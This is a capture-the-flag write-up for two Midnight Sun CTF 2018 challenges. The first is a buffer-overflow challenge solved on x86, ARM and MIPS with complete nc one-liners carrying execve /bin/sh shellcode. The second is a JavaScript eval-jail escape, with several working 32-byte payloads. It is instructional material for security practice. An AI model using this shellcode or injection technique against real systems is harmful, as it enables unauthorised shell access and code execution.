This CTF was a lot of fun! The style of the board and assets in the game were extremely creative and well done!
Here are the challenges from the competition:
First we're going to start with Babyshells, a simple 50pt pwn challenge. Then move onto Jeil, a 200pt pwn challenge involving a JavaScript jail.
Babyshells
Description:
If you hold a babyshell close to your ear, you can hear a stack getting smashed Solves: 71 Service: nc 52.30.206.11 7000 (x86) | nc 52.30.206.11 7001 (ARM) | nc 52.30.206.11 7002 (MIPS) Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/babyshells.tar.gz Author: likvidera
This one was a simple baby's first 90's shellcode style exploitation challenge, with the caveat that you have to exploit a binary on multiple architectures to get the flag.
Each binary would drop a part of the flag, so in order to complete the challenge, you would need to exploit all of them.
Running the x86 binary we get some nice ASCII art : ) -- It's also easy to make it crash!
Starting with dynamic analysis, cyclic will show the offset of the SIGSEGV as 40, but when using the interrupt (0xCC) we find the exact offset to be 38 (this offset will be used across all binaries in this challenge):
$ gdb ./chall pwndbg> r <<< $(python -c 'from pwn import *; print "1\n" + cyclic(100)') ... *EIP 0xffffce6a <— 0x6161616b ('kaaa') pwndbg> cyclic -l 0x6161616b 40 $ python -c 'from pwn import *; print "1\n" + "A"*38 + "\xcc"' | strace -i ./chall |& grep SIGTRAP [ff81a049] --- SIGTRAP {si_signo=SIGTRAP, si_code=SI_KERNEL} ---
Now we just need some shellcode! Heading over to shell-storm we can grab a few that will work for these challenges.
Starting with one for x86, we get our first shell:
$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'"; cat) | nc 52.30.206.11 7000 cat flag midnight{pwn_all_the_x86_
We have our flag chunk, now let's go onto the next architecture - arm.
The organizers were nice enough to included qemu-arm with the challenge package, as well as a Docker setup to get up and running with the challenges quickly.
The same payload with shellcode specific to arm also popped a shell:
$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x00'"; cat) | nc 52.30.206.11 7001 cat flag pwn_all_th3_4rm
Same story with mips (it took a while to find a working payload for this one):
(python -c "from pwn import *; print '1\n' + '\x90'*38 + '\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c'"; cat) | nc 52.30.206.11 7002 cat flag _pWN_4ll_th3_m1p5}
All of the flag chunks together turned out to be the final flag:
midnight{pwn_all_the_x86_pwn_all_th3_4rm_pWN_4ll_th3_m1p5}
Jeil
Description:
You are awesome at breaking into stuff, how about breaking out? Solves: 32 Service: nc web2.midnightsunctf.se 55542 | nc 34.244.177.217 55542 Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/jeil.tar.gz Author: avlidienbrunn
So this challenge is all about breaking out of a JavaScript jail. The source of this challenge may be found here: https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jail.js_source.js.
This was the source included with the challenge, and it includes some template strings to generate a new instance of the server. To help with iteration, there's another upload including a fake flag to use during initial exploration: https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jeil-example.js
An easy way to test this script out is to use Node.js.
To run it, just call the js file with Node (after installing the dependency readline):
$ npm i $ node jeil-example.js | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| | Internal | |________| || (\__/) || (•ㅅ•) || / づ Code: AAAA Unrecognized code. readline.js:1021 throw err; ^ 123
With the naive input 'AAAA' as an example, we get an error thrown saying '123'. If we look in the code, this error occurs in three places:
Character black list:
if(new RegExp(/[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/).test(code)){ console.log("Unrecognized code."); throw 123; return; }
Input length is not equal to 32:
if(!(code.length == 32)){ console.log("Incorrect code length."); throw 123; return; }
Evaluated code with "this.secretFuncUnguessable" prepended is not a function:
ret = eval("this.secretFuncUnguessable"+code); if(typeof ret == "function"){ if(ret.call(this,'foo', 'bar', 'baz') === true){ console.log("FLAG{F4k3_Fl4g!!!}"); }else{ console.log("Incorrect code."); } }else{ console.log("Incorrect code."); } throw 123;
To reiterate the rules we need to pass for our payload:
- needs to be exactly 32 bytes
- chars must not be in regex /[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/
- evaluated "this.secretFuncUnguessable" + code must be a function type
The first two rules are simple to pass, the last is somewhat tricky.
If you remember from the source, "this.secretFuncUnguessable{{ENV_SECRET_0}}" is defined in the source, but we do not know ENV_SECRET_0, and we probably don't want to guess it.
Instead we can figure out how to call our own function to pass the last check.
We know that "this.secretFuncUnguessable" does not exist unless ENV_SECRET_0 is set to "". We can use that assumption to our advantage by starting with the or operator in JavaScript. this will return the second value (our code) if the first is undefined. Here's a simple example:
> const foo = undefined; > const result = foo || 'AAAA'; > result 'AAAA'
It's also easy to create a function in later versions of node without braces using the arrow function:
> () => 123 [Function]
We can create a simple function which returns true by comparing 1 against itself:
> (()=>1==1)() true
Now we have a working payload, we just need to add some padding to make it 32 bytes:
> result = undefined || (()=>1==1) > typeof result 'function' > result() true
With the padding:
||(()=>11111111111==11111111111)
There are many other variations that could be created such as:
||000000000000000000||(()=>1==1) ||00||00||00||00||00||(()=>1==1) ||(()=>1==1)||000000000000000000 ||(((((((((((()=>1==1))))))))))) ||(()=>(()=>123)()==(()=>123)()) ||(()=>1*1*1*1*1*1*1*1*1*1*1==1) ||(()=>0!=111111111111111111111) ||(()=>(()=>(()=>((0==0)))())())
Now if we try this against the sample server we get the fake flag!
$ echo '||(()=>11111111111==11111111111)' | node ./jeil-example.js | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| | Internal | |________| || (\__/) || (•ㅅ•) || / づ Code: ||(()=>11111111111==11111111111) 32 FLAG{F4k3_Fl4g!!!}
When this is run against the CTF server, we get the actual flag:
$ echo '||(()=>11111111111==11111111111)' | nc 34.244.177.217 55542 | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| | Internal | |________| || (\__/) || (•ㅅ•) || / づ Code: midnight{f33lin_fr1sky_f0r_funky_funct10nz}